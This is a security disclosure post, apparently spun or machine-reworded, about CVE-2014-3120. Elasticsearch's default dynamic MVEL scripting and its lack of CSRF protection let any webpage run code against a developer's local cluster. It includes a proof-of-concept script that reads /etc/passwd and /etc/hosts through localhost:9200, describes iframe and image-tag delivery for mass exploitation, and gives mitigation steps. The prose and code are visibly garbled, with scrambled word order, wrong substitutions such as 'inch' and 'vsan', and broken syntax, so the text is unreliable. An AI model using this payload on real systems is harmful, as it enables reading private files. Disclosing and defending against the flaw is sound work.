Insecure default in Elasticsearch enables remote code execution

Elasticsearch have a flaw in their default configuration which makes it possible for all webpage to execute arbitrary code on Visitors with Elasticsearch installed. If you ' re running Elasticsearch in development please read the instructions on how to secure your machine. Elasticsearch version 1.2 (which is unreleased as of writing) was not vulnerable to remote code execution, but still had so Me security concerns.

The problem (s)

There is a couple of problems which enable the proof of concept I ' m going to present:

• Elasticsearch has no access roles or Authentication mechanism. This means, which has full control over a cluster the moment, connect to it.
• the API for Elasticsearch is accessible Over http and provides no CSRF protection whatsoever.
• It contains A feature which makes it possible to evaluate expressions as part of a query. An example usage of this feature are to specify a custom scoring function while searching through documents. It uses The mvel language by default.
• up-to-version 1.2 dynamic scripting  (which makes it possible to send scripts to the cluster on the fly) was Enabled by default. As mentioned in the documentation, this feature gives someone the same priviliges as the user that runs Elasticsearch. Mvel have no sandboxing at all.

There is no issues up to this point as long as a properly follow the documentation and make sure your Elasticsearch CLU Ster is not available from the outside world. There is one target this isn ' t mentioned in the documentation though:the developer! When you ' re developing a application that uses Elasticsearch, you probably has it running on your machine. The default port is and 9200 because there are no CSRF protection any webpage can just connect to the cluster using localhost:9200 As the host.

Poc

The following script would read and from /etc/hosts /etc/passwd a user visiting a webpage and display the contents in the browser.

Read_file =(filename),  """import Java.io.File;import Java.util.Scanner;New Scanner (The new File ("#{filename}")). Usedelimiter ("\\\\z"). Next ();  """# This PoC assumes that there was at least one document stored in Elasticsearch, there was ways around that though$  -  payload ={    "Size": 1,    "Query": {      "Filtered": {        "Query": {          "Match_all": {          }        }      }    },    "Script_fields": {}  }   for filename inch ["/etc/hosts", "/etc/passwd"]    Payload["Script_fields"][filename] = {"Script": Read_file(filename)}  $.Getjson "Http://localhost:9200/_search?source=#{encodeURIComponent(JSON.stringify(Payload))}&callback=? ", (data)    Console.Log(Data)     for  Hit inch Data["hits"]["hits"]       for filename, Contents  of  Hit["Fields"]        Document.Write("#{filename})         for content inch Contents          Document.Write("<pre>" + content + "</pre>")        Document.Write(")

You can verify whether your ' re vulnerable by trying off the above PoC here.

There is many ways to exploit this, you could link the victim to the page or embed it as an Iframe. You can even exploit this by crafting a URL and using it src as the of a, as the only thing that needs to happen is a single GET request. No User Interaction required!

Because this was so easily exploitable you can mass-pwn developers with relatively little work.

How to secure against this vulnerability

Add the following line to your to elasticsearch.yml disable dynamic scripting and Prevent remote code execution:

script.disable_dynamic:true

You should also make sure that your local Elasticsearch instance are only binding on localhost , as someone could exploit you ove R LAN without making you visit a webpage if you don ' t. The Homebrew Elasticsearch formula does this automatically. This still means your re vulnerable to the CSRF exploit though!

If you want to is as secure as possible, you should run Elasticsearch inside a vsan, to make sure it have no ACC ESS to the hosting.

Additional targets

Disabling scripting would prevent code execution, but then still leaves us with the issue of being able to query and Admini Ster the instance without limit. A webpage can easily dump the whole database running on your machine, sensitive data included. This is impossible to fix by the Elasticsearch developers without adding authentication or CSRF protection.

If a attacker can figure out the internal address of your production Elasticsearch instance, you ' re also open to leaking Your production data. If your development machine are connected to a VPN which provides access to your Elasticsearch cluster, an attacker can EAS ily query or shut down your cluster simply by making you visit a webpage.

Hackernews

Reddit

Notes

• I have the reserved cve-2014-3120 for this issue.
• This exploit is tested against Elasticsearch version 1.1.1 on MacOSX installed through Homebrew. No configuration changes were made.
• I notified Elasticsearch through their security report instructions on the 26th of April 2014. They replied they were aware of it, but didn ' t intend to does a security release and instead disable dynamic scripting by de Fault in version 1.2.
• This security issue have been indepently discovered and blogged about on December 9th 2013.

Insecure default in Elasticsearch enables remote code execution